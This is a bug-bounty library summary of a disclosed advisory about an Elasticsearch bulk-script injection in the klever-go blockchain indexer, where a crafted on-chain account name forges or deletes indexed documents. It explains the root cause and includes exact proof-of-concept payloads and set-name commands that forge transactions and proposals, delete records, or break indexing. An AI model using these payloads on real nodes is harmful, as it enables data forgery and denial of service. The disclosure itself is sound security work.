# Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

Unescaped on-chain account name spliced into Elasticsearch _bulk painless script lets any attacker forge or delete documents in any indexer index.

- Payout: Research
- Severity: high
- Program: Klever-Go
- Found by: mabdullah22
- Disclosed: 2026-09-23
- CVE: CVE-2026-82409
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7c7c-373r-gfjj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7c7c-373r-gfjj
- Tags: area:cloud domain:infra impact:dos impact:integrity kind:research platform:ghsa sev:high tech:elasticsearch tech:go technique:source-review vuln:ssti

**Target:** Elasticsearch indexer bulk/painless serializer in klever-go node
**Root cause:** serializedDataForUpdateAccounts builds the ES _bulk painless-script line with fmt.Sprintf, splicing acc.Name (attacker-controlled, only UTF-8/length validated) into JSON without escaping, while the existing converters.JsonEscape helper is used for _id fields but not the name.
**Steps:**
1. Send a SetAccountName (contract type 12) transaction from any funded account naming your own account with a payload containing `"`, `\n`, and forged NDJSON bulk lines.
2. Payload example: `"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}` (84 bytes, under MaxNameSize 100).
3. Name is written to consensus state and replicated; each node's indexer reads it from state during SaveAccounts and splices it into the bulk script line.
4. The forged action/source pair is applied; the trailing sacrificial `{"index":{}}` absorbs the template tail as a per-item source error so the batch still succeeds.
5. Verify: `GET transactions/_doc/t` returns `{"found":true,"_source":{"status":"success"}}` despite no such transaction existing.
6. Variants: name `x"` for denial-of-indexing (whole batch HTTP 400); `"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}` to forge a proposal; `"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}` to delete one.
**How found:** Code review of the indexer's bulk serializer: noticed fmt.Sprintf-built JSON with raw acc.Name while converters.JsonEscape was applied to _id fields nearby, then traced acc.Name back to weakly validated on-chain SetAccountName state and reasoned about NDJSON line semantics.
**Exploitation:** One cheap permissionless on-chain SetAccountName transaction, no node/ES access needed. The name persists in replicated state, so every current and future indexer (including historical re-index) re-fires the injection. Malformed action line fails the whole batch (HTTP 400, denial-of-indexing dropping co-batched honest updates); malformed source line only fails per-item, so a forged op followed by a sacrificial action is applied, giving arbitrary create/overwrite/delete across any index the indexer's ES credentials can write (transactions, blocks, accounts, proposals, assets, marketplaces). Shipped ES config is unauthenticated with 0.0.0.0:9200 and CORS *, and the injection bridges to a firewalled private ES via the node's trusted connection.
**Escalation:** From denial-of-indexing (single quote breaks batch) to arbitrary cross-index document CRUD by exploiting _bulk's positional error semantics: sacrificial action absorbs the fixed template tail into a source position so the preceding forged op applies.
**Insight:** When a serializer builds NDJSON/JSON by string concatenation, check every interpolated field against the escaping used elsewhere in the same file; NDJSON's line-delimited format means a newline in any field is a structural injection, and _bulk's per-item vs whole-batch error asymmetry lets a sacrificial trailing op make forged ops apply.

## Proof of concept (copied exactly from the original report)

**SetAccountName tx injecting forged bulk op**

```
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}'
```

**Cross-index write forging proposal document**

```
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}'
```

**Delete document via forged bulk delete op**

```
operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \
  $'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}'
```

